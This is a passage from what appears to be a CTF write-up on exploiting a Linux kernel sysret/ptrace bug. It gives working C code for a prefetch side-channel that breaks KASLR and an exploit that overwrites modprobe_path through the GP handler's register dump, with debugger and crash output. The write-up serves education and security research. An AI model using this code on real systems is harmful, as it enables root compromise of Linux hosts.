<p>The whole point of triggering this bug is to cause memory corruption through the register dump that occurs in the GP handler, so I tried setting my stack pointer to some writeable kernel data structures to see if I could hijack them. Stepping through the GP handler I could see that it did exactly that! until it all came crashing down…</p>

<h2 id="surviving-the-bug">surviving the bug</h2>

<p>Triggering the bug with a target kernel address in rsp was failing because of a double fault caused by the GP handler unexpectedly executing with user space’s gsbase.</p>

<p>The gsbase register is used on Linux to access percpu variables. In the Linux source code it is used by the <code class="language-plaintext highlighter-rouge">current</code> macro to locate the current task struct, for example. On kernel entry and exit the <code class="language-plaintext highlighter-rouge">swapgs</code> instruction is executed to switch back and forth between the kernel and user gsbase values since user space is allowed to use a gs segment as well.</p>

<p>e.g. in <code class="language-plaintext highlighter-rouge">entry_SYSCALL_64</code>:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">entry_SYSCALL_64:</span>
    <span class="nf">swapgs</span>
    <span class="nf">mov</span>    <span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="nb">gs</span><span class="p">:</span><span class="mh">0x6014</span><span class="p">,</span><span class="nb">rsp</span>
<span class="nf">...</span>
    <span class="nf">swapgs</span>
    <span class="nf">sysretq</span>
</code></pre></div></div>

<p>But since swapgs was executed right before sysret and the GP handler sees that the GP was from kernel mode (CPL was 0) swapgs is not executed again in the GP handler, meaning it executes with a userspace gsbase. This becomes a problem when the GP handler tries to access percpu variables since user space gsbase is usually unused and set to zero so that results in a pagefault.</p>

<p>Lets take a deeper look at what is going on in the GP handler.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">asm_exc_general_protection:</span>
    <span class="nf">cld</span>
    <span class="nf">call</span>   <span class="nv">error_entry</span>
    <span class="nf">mov</span>    <span class="nb">rsp</span><span class="p">,</span><span class="nb">rax</span>
    <span class="nf">mov</span>    <span class="nb">rdi</span><span class="p">,</span><span class="nb">rsp</span>
    <span class="nf">mov</span>    <span class="nb">rsi</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x78</span><span class="p">]</span>
    <span class="nf">mov</span>    <span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x78</span><span class="p">],</span><span class="mh">0xffffffffffffffff</span>
    <span class="nf">call</span>   <span class="nv">exc_general_protection</span>
    <span class="nf">jmp</span>    <span class="nv">error_return</span>
</code></pre></div></div>

<p>When a GP occurs, execution is redirected to the handler above, which immediately calls into <code class="language-plaintext highlighter-rouge">error_entry</code>. The <code class="language-plaintext highlighter-rouge">error_entry</code> function is pretty generic and shared across many of the fault/trap handlers of the kernel, the start of <code class="language-plaintext highlighter-rouge">error_entry</code> is:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">error_entry:</span>
    <span class="nf">push</span>   <span class="nb">rsi</span>
    <span class="nf">mov</span>    <span class="nb">rsi</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span>
    <span class="nf">mov</span>    <span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">],</span><span class="nb">rdi</span>
    <span class="nf">push</span>   <span class="nb">rdx</span>
    <span class="nf">push</span>   <span class="nb">rcx</span>
    <span class="nf">push</span>   <span class="nb">rax</span>
    <span class="nf">push</span>   <span class="nv">r8</span>
    <span class="nf">push</span>   <span class="nv">r9</span>
    <span class="nf">push</span>   <span class="nv">r10</span>
    <span class="nf">push</span>   <span class="nv">r11</span>
    <span class="nf">push</span>   <span class="nb">rbx</span>
    <span class="nf">push</span>   <span class="nb">rbp</span>
    <span class="nf">push</span>   <span class="nv">r12</span>
    <span class="nf">push</span>   <span class="nv">r13</span>
    <span class="nf">push</span>   <span class="nv">r14</span>
    <span class="nf">push</span>   <span class="nv">r15</span>
    <span class="nf">push</span>   <span class="nb">rsi</span>
<span class="nf">...</span>
</code></pre></div></div>
<p>The start of error entry is what handles storing the registers for interrupts, this is the memory corruption we are trying to exploit, all general purpose registers will be pushed to the stack pointer we control.</p>

<p>Here is where in error entry <code class="language-plaintext highlighter-rouge">swapgs</code> is skipped if we entered from kernel space.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">error_entry:</span>
<span class="nf">...</span>
    <span class="nf">test</span>   <span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">],</span><span class="mh">0x3</span> <span class="o">&lt;--</span> <span class="nv">CPL</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="nv">?</span>
    <span class="nf">jz</span>     <span class="mh">0xffffffff81c014b2</span>      <span class="o">&lt;--</span> <span class="nv">skip</span> <span class="nv">swapgs</span> <span class="nv">if</span> <span class="mi">0</span>
    <span class="nf">swapgs</span>
<span class="nf">...</span>
</code></pre></div></div>

<p>And this is where the gs segment is first used, causing the system to double fault.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">exc_general_protection:</span>
    <span class="nf">push</span>   <span class="nv">r13</span>
    <span class="nf">mov</span>    <span class="nv">r13</span><span class="p">,</span><span class="nb">rsi</span>
    <span class="nf">push</span>   <span class="nv">r12</span>
    <span class="nf">push</span>   <span class="nb">rbp</span>
    <span class="nf">mov</span>    <span class="nb">rbp</span><span class="p">,</span><span class="nb">rdi</span>
    <span class="nf">push</span>   <span class="nb">rbx</span>
    <span class="nf">sub</span>    <span class="nb">rsp</span><span class="p">,</span><span class="mh">0x70</span>
    <span class="nf">mov</span>    <span class="nb">rax</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="nb">gs</span><span class="p">:</span><span class="mh">0x28</span> <span class="o">&lt;--</span> <span class="nv">fault</span> <span class="nv">here</span> <span class="p">:(</span>
</code></pre></div></div>

<p>So how can we survive this?</p>

<p>In the ptrace sysret blog, the author survives the double fault by targeting the IDT in order to hijack the page fault handler to userspace. Unfortunately, we are living in the future meaning we don’t have a writeable IDT and SMEP would anyways prevent us from executing off a user space page. So I had to find some other way to survive triggering the bug.</p>

<p>Well the gsbase causing the fault belongs to userspace, but can we control our own gsbase? can we make it point to a kernel address?</p>

<p>My first attempt was to have ptrace set gsbase since I was already using ptrace to set the registers, but as it turns out <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/kernel/ptrace.c#L395">ptrace will not set gsbase if the address is greater than TASK_SIZE_MAX</a> (greater than the max user space address).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">case</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">user_regs_struct</span><span class="p">,</span><span class="n">gs_base</span><span class="p">):</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="o">&gt;=</span> <span class="n">TASK_SIZE_MAX</span><span class="p">)</span> <span class="o">&lt;--</span> <span class="n">sad</span>
            <span class="k">return</span> <span class="o">-</span><span class="n">EIO</span><span class="p">;</span>
        <span class="n">x86_gsbase_write_task</span><span class="p">(</span><span class="n">child</span><span class="p">,</span> <span class="n">value</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>The same is true of <code class="language-plaintext highlighter-rouge">arch_prctl(ARCH_SET_GS)</code> as well…</p>

<p>Luckily x86 has an extension called fsgsbase that is commonly enabled, which lets gsbase be set from user space via the wrgsbase instruction!</p>

<p><code class="language-plaintext highlighter-rouge">asm volatile("wrgsbase %0" : : "r" (gsbase));</code></p>

<p>So if I just use this instruction to modify user space gsbase in the process triggering the sysret bug and I should survive the fault!</p>

<p>Except… not quite. I first tried setting it to a random read/write kernel address and that got me a little further, but the percpu data contains pointers that the kernel will try to dereference which just becomes double faulting again.</p>

<p>So setting it to some random address wasn’t going to cut it, I figured the most stable option would be to just set user space gsbase to kernel gsbase so that when the vulnerability triggered the kernel would be running with the gsbase it expected.</p>

<p>One small problem, kernel gsbase is in physmap… how am I supposed to know where that is? and while I’m at it how am I supposed to know where the kernel itself is? I had been debugging with KASLR disabled, but for remote I’ll need leaks somehow…</p>

<h2 id="breaking-kaslr">Breaking KASLR</h2>

<p>So given that triggering the vulnerability will crash the system if the address pointed to by stack pointer is unmapped or gsbase is wrong, how can KASLR be broken independent of this vulnerability? the answer lies in the micro-architecture.</p>

<p>KASLR has been publicly broken for all Intel cpus since 2016. The techinque was discovered by Gruss et al. in 2016 and is referred to as a <a href="https://gruss.cc/files/prefetch.pdf">Prefetch Attack</a> as it relies on the timing variance of the x86 <code class="language-plaintext highlighter-rouge">prefetch</code> instructions when executed against cached kernel address translations.</p>

<p>For a simple implementation of a prefetch attack I reached for the <a href="https://www.willsroot.io/2022/12/entrybleed.html">entrybleed poc</a>, which is just a specific use of a prefetch attack for breaking KASLR when KPTI is enabled but the same code works with KPTI disabled as well. This was enough to break KASLR of the kernel image, but I still needed to break physmap KASLR to be able to survive the use of percpu variables…</p>

<p>But that was simple enough, all I had to do was define some ranges and step sizes that work for physmap and add a flag to choose which randomization I want to break.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// largely based on: https://www.willsroot.io/2022/12/entrybleed.html</span>

<span class="cp">#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
</span>
<span class="cp">#define STEP_KERNEL 0x100000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL
</span>
<span class="cp">#define PHYS_LOWER_BOUND 0xffff888000000000ull
#define PHYS_UPPER_BOUND 0xfffffe0000000000ull
</span>
<span class="cp">#define STEP_PHYS 0x40000000ull
#define SCAN_START_PHYS PHYS_LOWER_BOUND
#define SCAN_END_PHYS PHYS_UPPER_BOUND
#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS
</span>
<span class="cp">#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
</span>
<span class="kt">uint64_t</span> <span class="nf">sidechannel</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">;</span>
  <span class="n">asm</span> <span class="k">volatile</span> <span class="p">(</span><span class="s">".intel_syntax noprefix;"</span>
    <span class="s">"mfence;"</span>
    <span class="s">"rdtscp;"</span>
    <span class="s">"mov %0, rax;"</span>
    <span class="s">"mov %1, rdx;"</span>
    <span class="s">"xor rax, rax;"</span>
    <span class="s">"lfence;"</span>
    <span class="s">"prefetchnta qword ptr [%4];"</span>
    <span class="s">"prefetcht2 qword ptr [%4];"</span>
    <span class="s">"xor rax, rax;"</span>
    <span class="s">"lfence;"</span>
    <span class="s">"rdtscp;"</span>
    <span class="s">"mov %2, rax;"</span>
    <span class="s">"mov %3, rdx;"</span>
    <span class="s">"mfence;"</span>
    <span class="s">".att_syntax;"</span>
    <span class="o">:</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">a</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">b</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">c</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">d</span><span class="p">)</span>
    <span class="o">:</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="o">:</span> <span class="s">"rax"</span><span class="p">,</span> <span class="s">"rbx"</span><span class="p">,</span> <span class="s">"rcx"</span><span class="p">,</span> <span class="s">"rdx"</span><span class="p">);</span>
  <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">b</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">a</span><span class="p">;</span>
  <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">c</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">c</span> <span class="o">-</span> <span class="n">a</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">uint64_t</span> <span class="nf">prefetch</span><span class="p">(</span><span class="kt">int</span> <span class="n">phys</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">arr_size</span> <span class="o">=</span> <span class="n">ARR_SIZE_KERNEL</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">scan_start</span> <span class="o">=</span> <span class="n">SCAN_START_KERNEL</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">step_size</span> <span class="o">=</span> <span class="n">STEP_KERNEL</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">phys</span><span class="p">)</span> <span class="p">{</span>
	    <span class="n">arr_size</span> <span class="o">=</span> <span class="n">ARR_SIZE_PHYS</span><span class="p">;</span>
	    <span class="n">scan_start</span> <span class="o">=</span> <span class="n">SCAN_START_PHYS</span><span class="p">;</span>
	    <span class="n">step_size</span> <span class="o">=</span> <span class="n">STEP_PHYS</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">uint64_t</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">arr_size</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">));</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">arr_size</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">));</span>

    <span class="kt">uint64_t</span> <span class="n">min</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ITERATIONS</span> <span class="o">+</span> <span class="n">DUMMY_ITERATIONS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">idx</span> <span class="o">&lt;</span> <span class="n">arr_size</span><span class="p">;</span> <span class="n">idx</span><span class="o">++</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="kt">uint64_t</span> <span class="n">test</span> <span class="o">=</span> <span class="n">scan_start</span> <span class="o">+</span> <span class="n">idx</span> <span class="o">*</span> <span class="n">step_size</span><span class="p">;</span>
            <span class="n">syscall</span><span class="p">(</span><span class="mi">104</span><span class="p">);</span>
            <span class="kt">uint64_t</span> <span class="n">time</span> <span class="o">=</span> <span class="n">sidechannel</span><span class="p">(</span><span class="n">test</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">&gt;=</span> <span class="n">DUMMY_ITERATIONS</span><span class="p">)</span>
                <span class="n">data</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">+=</span> <span class="n">time</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">arr_size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/=</span> <span class="n">ITERATIONS</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="n">min</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">min</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
            <span class="n">addr</span> <span class="o">=</span> <span class="n">scan_start</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">step_size</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">free</span><span class="p">(</span><span class="n">data</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">user_regs_struct</span> <span class="n">regs</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">kaslr</span> <span class="o">=</span> <span class="n">prefetch</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0xc00000</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">phys</span> <span class="o">=</span> <span class="n">prefetch</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x100000000</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"KERNEL base %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kaslr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"PHYS base %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">phys</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And boom! KASLR in shambles!</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctf@corctf:~<span class="nv">$ </span>/tmp/exploit
KASLR base ffffffffb5c00000
PHYS base ffff8d9000000000
</code></pre></div></div>

<h2 id="escalating-privileges">escalating privileges</h2>

<p>With KASLR broken I could set gsbsase to its original value before which gave me a fairly stable way to trigger the sysret bug and survive.</p>

<p>So now the goal is to use the memory corruption from the <code class="language-plaintext highlighter-rouge">error_entry</code> function I mentioned previously to corrupt some kernel memory with controlled values. I figured that the easiest target would be overwriting <code class="language-plaintext highlighter-rouge">modprobe_path</code>, a great description of this techinque can be found <a href="https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/">here</a>. Basically overwriting this kernel variable with a path to a file I control the contents of will lead to it being executed as root when a file with an unrecognized header is executed.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">user_regs_struct</span> <span class="n">regs</span><span class="p">;</span>

    <span class="n">kaslr</span> <span class="o">=</span> <span class="n">prefetch</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0xc00000</span><span class="p">;</span>
    <span class="n">phys</span> <span class="o">=</span> <span class="n">prefetch</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x100000000</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"KASLR base %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kaslr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"PHYS base %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">phys</span><span class="p">);</span>

    <span class="n">gsbase</span> <span class="o">=</span> <span class="n">phys</span> <span class="o">+</span> <span class="mh">0x13bc00000</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"gsbase: %#lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">gsbase</span><span class="p">);</span>

    <span class="c1">// create trigger file for modprobe</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"echo -ne </span><span class="se">\"\xff\xff\xff\xff\"</span><span class="s"> &gt;&gt; /tmp/bad"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"chmod 777 /tmp/bad"</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">modprobe_path</span> <span class="o">=</span> <span class="n">kaslr</span> <span class="o">+</span> <span class="mh">0x103b840</span><span class="p">;</span>

    <span class="c1">// fill registers with new modprobe path</span>
    <span class="kt">uint64_t</span> <span class="n">new_modprobe</span> <span class="o">=</span> <span class="mh">0x0000612f706d742f</span><span class="p">;</span> <span class="c1">// /tmp/a</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">regs</span><span class="p">)</span><span class="o">/</span><span class="k">sizeof</span><span class="p">(</span><span class="n">new_modprobe</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
	    <span class="p">((</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">regs</span><span class="p">)[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">new_modprobe</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// position register dump over modprobe_path</span>
    <span class="n">do_sysret</span><span class="p">(</span><span class="n">modprobe_path</span> <span class="o">+</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">regs</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I setup the ptrace registers to be filled with the bytes b”/tmp/a\0\0” to overwrite the default <code class="language-plaintext highlighter-rouge">modprobe_path</code> and triggered the sysret bug with a stack pointer that cause the registers are pushed on top of the <code class="language-plaintext highlighter-rouge">modprobe_path</code> variable.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/20gx &amp;modprobe_path
0xffffffff8203b840 &lt;modprobe_path&gt;:     0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b850 &lt;modprobe_path+16&gt;:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b860 &lt;modprobe_path+32&gt;:  0x0000612f706d742f      0x0000000000000246
0xffffffff8203b870 &lt;modprobe_path+48&gt;:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b880 &lt;modprobe_path+64&gt;:  0x0000612f706d742f      0x0000000000000052
0xffffffff8203b890 &lt;modprobe_path+80&gt;:  0x8000000000000000      0x0000612f706d742f
0xffffffff8203b8a0 &lt;modprobe_path+96&gt;:  0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b8b0 &lt;modprobe_path+112&gt;: 0xffffffffffffffff      0xffffffff81a00191
0xffffffff8203b8c0 &lt;modprobe_path+128&gt;: 0x0000000000000010      0x0000000000010046
0xffffffff8203b8d0 &lt;modprobe_path+144&gt;: 0xffffffff8203b8e8      0x0000000000000018
gef➤  x/s &amp;modprobe_path
0xffffffff8203b840 &lt;modprobe_path&gt;:     "/tmp/a"
</code></pre></div></div>

<p>Incredibly, nothing crashed… yet…</p>

<p>I had created a file at /tmp/a to be executed when I ran the trigger file with a bad header, but when I executed it a page fault occurred and prevented the file at the hijacked modprobe path from being executed…</p>

<p>It turns out I had corrupted more than just modprobe path… at this point I tried a bunch of different offsets of the <code class="language-plaintext highlighter-rouge">modprobe_path</code> variable hoping one of them might ‘just work’ but had no such luck, I even gave up on <code class="language-plaintext highlighter-rouge">modprobe_path</code> at one point and started exploring hijacking <code class="language-plaintext highlighter-rouge">core_pattern</code> and even seeing if I could safely corrupt a cred struct. None of those ended up working out, for a brief second I considered that maybe I should stop being lazy and just rop. But then I had another idea, what if I could just fix the corruption… with more corruption?</p>

<p>Lets take a closer at what was going wrong when I tried to corrupt <code class="language-plaintext highlighter-rouge">modprobe_path</code>.</p>

<p>This is the trace the kernel prints when I tried to trigger modprobe:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[    5.095502] BUG: unable to handle page fault for address: ffffffff00000208
[    5.096822] #PF: supervisor read access in kernel mode
[    5.098019] #PF: error_code(0x0000) - not-present page
[    5.098661] PGD 202e067 P4D 202e067 PUD 0
[    5.099171] Oops: 0000 [#2] PREEMPT SMP NOPTI
[    5.099704] CPU: 0 PID: 27 Comm: kworker/u2:1 Tainted: G      D            6.3.4 #14
[    5.100631] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.2-1-1 04/014
[    5.101765] Workqueue: events_unbound call_usermodehelper_exec_work
[    5.102522] RIP: 0010:inc_rlimit_ucounts+0x31/0x70
[    5.103129] Code: f0 48 89 f9 45 31 d2 49 b9 ff ff ff ff ff ff ff 7f 4a 8d 34 c5 70 00 00 00 49 83 8
[    5.105340] RSP: 0018:ffffc900000e3cb8 EFLAGS: 00010282
[    5.105977] RAX: ffffffff00000028 RBX: ffff888100964ec0 RCX: ffffffff8203b6c0
[    5.106850] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffff8203b6c0
[    5.107914] RBP: ffffffff8203b6c0 R08: 0000000000000046 R09: 7fffffffffffffff
[    5.108776] R10: 7fffffffffffffff R11: 0000000000000025 R12: 0000000000000000
[    5.110192] R13: ffffc900000e3df0 R14: 00000000ffffffff R15: 0000000000800100
[    5.111701] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000
[    5.112934] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.113974] CR2: ffffffff00000208 CR3: 0000000100ad2002 CR4: 0000000000370ef0
[    5.115356] Call Trace:
[    5.115679]  &lt;TASK&gt;
[    5.115953]  copy_creds+0xb8/0x160
[    5.116388]  copy_process+0x3c6/0x19b0
[    5.116860]  kernel_clone+0x96/0x350
[    5.117313]  ? update_load_avg+0x5f/0x610
[    5.117814]  ? update_load_avg+0x5f/0x610
[    5.118316]  user_mode_thread+0x56/0x80
[    5.118788]  ? __pfx_call_usermodehelper_exec_async+0x10/0x10
[    5.119512]  call_usermodehelper_exec_work+0x2a/0x80
[    5.120120]  process_one_work+0x1b1/0x340
[    5.120616]  worker_thread+0x45/0x3b0
[    5.121063]  ? __pfx_worker_thread+0x10/0x10
[    5.121603]  kthread+0xd1/0x100
[    5.121996]  ? __pfx_kthread+0x10/0x10
[    5.122464]  ret_from_fork+0x29/0x50
[    5.122923]  &lt;/TASK&gt;
</code></pre></div></div>

<p>It crashed somewhere in <code class="language-plaintext highlighter-rouge">inc_rlimit_ucounts</code>, I had no clue why so I set a breakpoint at it, restarted the vm, and ran tried to trigger the bug again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xffffffff8109e9b1 in inc_rlimit_ucounts ()
   0xffffffff8109e9a6 &lt;inc_rlimit_ucounts+38&gt; cmp    rdi, rcx
   0xffffffff8109e9a9 &lt;inc_rlimit_ucounts+41&gt; cmove  r10, rax
   0xffffffff8109e9ad &lt;inc_rlimit_ucounts+45&gt; mov    rax, QWORD PTR [rcx+0x10]
 → 0xffffffff8109e9b1 &lt;inc_rlimit_ucounts+49&gt; mov    rcx, QWORD PTR [rax+0x1e0]
   0xffffffff8109e9b8 &lt;inc_rlimit_ucounts+56&gt; mov    r9, QWORD PTR [rax+r8*8+0x8]
   0xffffffff8109e9bd &lt;inc_rlimit_ucounts+61&gt; test   rcx, rcx
   0xffffffff8109e9c0 &lt;inc_rlimit_ucounts+64&gt; je     0xffffffff8109e9e4 &lt;inc_rlimit_ucounts+100&gt;
   0xffffffff8109e9c2 &lt;inc_rlimit_ucounts+66&gt; mov    rax, rdx
   0xffffffff8109e9c5 &lt;inc_rlimit_ucounts+69&gt; ds     xadd QWORD PTR [rcx+rsi*1], rax
</code></pre></div></div>

<p>This instruction is what crashes, it is dereferencing some value it got from the address in rcx, so what is rcx?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/20gx $rcx
0xffffffff8203b6c0 &lt;init_ucounts&gt;:      0x0000000000000000      0xffffffff810c50b3
0xffffffff8203b6d0 &lt;init_ucounts+16&gt;:   0xffffffff00000028      0x000000008203b730
0xffffffff8203b6e0 &lt;init_ucounts+32&gt;:   0xffffffff8203b6f0      0x18581c54482e2a00
0xffffffff8203b6f0 &lt;init_ucounts+48&gt;:   0x18581c54482e2a00      0xffffffff81e99724
0xffffffff8203b700 &lt;init_ucounts+64&gt;:   0x00007fffade979fc      0x0000000100ad0001
0xffffffff8203b710 &lt;init_ucounts+80&gt;:   0x0000000000370ef0      0xffffffff8203b5f0
0xffffffff8203b720 &lt;init_ucounts+96&gt;:   0xffffffff81e99724      0xffffffff81024f2d
0xffffffff8203b730 &lt;init_ucounts+112&gt;:  0xffff88813bc00001      0x000000000000016e
0xffffffff8203b740 &lt;init_ucounts+128&gt;:  0x0000000080050033      0x0000000000000046
